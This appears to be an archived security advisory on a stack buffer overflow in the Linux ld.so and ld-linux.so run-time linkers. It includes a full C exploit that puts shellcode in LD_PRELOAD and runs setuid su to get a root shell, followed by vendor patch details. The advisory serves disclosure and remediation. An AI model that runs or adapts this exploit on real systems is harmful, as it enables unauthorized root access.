COMMAND

    ld.so / ld-linux.so

SYSTEMS AFFECTED

    Linux

PROBLEM

    ld.so  is  the   run-time  linker  used   by  dynamically   linked
    executables (a.out).   Inside the  error reporting  function there
    is a call to vsprintf, which doesn't check the size of the  string
    it is storing in an automatic buffer.

    The ELF version of  run-time linker(ld-linux.so) is vulnerable  to
    an almost identical stack overwrite.

    A local user that can execute any dynamically linked setuid binary
    and can force ld.so to  error, can execute  arbitrary code as root.
    Credit goes to KRS[T].  Dan McGuirk made an exploit for the  Linux
    ld.so buffer overflow.  It only works for ld.so 1.9.2, not 1.7.14.

    The  overflow  doesn't  seem  to  be  exploitable  by using a long
    filename, because the error messages  that get printed are of  the
    form:

        %s: can't load library '%s'\n

    In  _dl_fdprintf,  the  format  string  is  iterated  through   by
    incrementing parameter 'char *fmt', which is located on the  stack
    only  four  bytes  above  the  return  address  you're  trying  to
    overwrite.   So if  you try  to overflow  the buffer  by using the
    first %s, the  ":  can't  load library" part  winds up overwriting
    'fmt', and then  _dl_fdprintf goes crazy  and segfaults before  it
    can return with the  phony return address.   So I don't think  you
    can do anything worse than cause a crash by creating a long argv0.

    But you can  still exploit the  overflow by putting  the shellcode
    string  in  LD_PRELOAD.   1.7.14  ignores  LD_PRELOAD  for  setuid
    executables,  but  1.9.2  doesn't.   It  does  require  that   the
    LD_PRELOAD  string  have  no  slashes  in  it, so you have to link
    /bin/sh into the current directory.

    Exploit  follows.   You  may  have  to  adjust the offset, but the
    buffer size should be correct.

    ---------------
    /*
     * buffer overflow exploit for ld-linux.so.1.9.2
     * by Dan McGuirk <mcguirk@indirect.com>
     * based on Aleph One's "smashing the stack" code
     */

    #include <stdlib.h>

    #define DEFAULT_OFFSET                 3300
    #define DEFAULT_BUFFER_SIZE            1013
    #define NOP                            0x90

    char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff_bin_sh";

    unsigned long get_sp(void) {
       __asm__("movl %esp,%eax");
    }

    void main(int argc, char *argv[]) {
      char *buff, *ptr;
      long *addr_ptr, addr;
      int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
      int i;

      if (argc > 1) bsize  = atoi(argv[1]);
      if (argc > 2) offset = atoi(argv[2]);

      if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
      }

      printf("sp is 0x%x\n", get_sp());
      addr = get_sp() - offset;  /* a valid addr is addr = 0xbfffeba8; here */
      printf("Using address: 0x%x\n", addr);

      ptr = buff;
      addr_ptr = (long *) ptr;
      for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;

      for (i = 0; i < bsize/2; i++)
        buff[i] = NOP;

      ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
      for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];

      buff[bsize - 1] = '\0';

      memcpy(buff, "EGG=", 4);
      putenv(buff);
      system("ln -sf /bin/sh _bin_sh");
      system("ln -sf /bin/su aa");
      system("/bin/sh -c 'export LD_PRELOAD=$EGG; export PATH=$PATH:.; aa'");
      system("rm -f _bin_sh");
      system("rm -f aa");
    }

SOLUTION

    Upgrade  your  ld.so  to  the  latest  version, or apply the patch
    provided by Alan Cox.  Note that the latest version of ld.so  that
    was  tested  (1.9.2)  still  appeared  to  be  vulnerable  to this
    overflow.

    David Engel has released a fixed ld.so as:

        ftp://ftp.ods.com/pub/linux/ld.so-1.9.3.tar.gz
        ftp://i44ftp.info.uni-karlsruhe.de/pub/linux/ld..so/ld.so-1.9.3.tar.gz

    This   release   should   soon   appear   on   sunsite.unc.edu  in
    /pub/Linux/GCC.   Note  that  ld.so-1.9  does  not support the old
    a.out format anymore.

    The  following  Linux  distribution  maintainers  and vendors have
    released fixed packages of ld.so:

    Vendor:         S.u.S.E
    Product:        S.u.S.E Linux 5.0
    Status:         Affected, fix available
    Location:       ftp://ftp.suse.com/pub/suse_update/S.u.S.E.-5.0/a1

    Vendor:         Caldera
    Product:        Caldera OpenLinux Lite, Base and Standard 1.1
    Status:         Affected, fix available
    Location:       ftp://ftp.caldera.com/pub/openlinux/updates/1.1/004
    Note:           ELF support only.

    Vendor:         RedHat
    Product:        RedHat Linux 4.0, 4.1 and 4.2
    Status:         Affected, fix available
    Location:       ftp://ftp.redhat.com/updates/4.2
    Note:           Files pgp-signed, key available from install CD or
                    PGP key servers.

    Vendor:         Debian
    Product:        Debian GNU/Linux
    Status:         Affected, fix available
    Location:       ftp://ftp.debian.org/debian/bo-updates

    Vendor:         Delix
    Product:        DLD 5.2
    Status:         Affected, fix available
    Location:       ftp://ftp.delix.de/pub/Linux/DLD-5.2/updates

    Vendor:         LST
    Product:        LST Power Linux 2.2
    Status:         Affected, fix available
    Location:       Same as for Caldera above.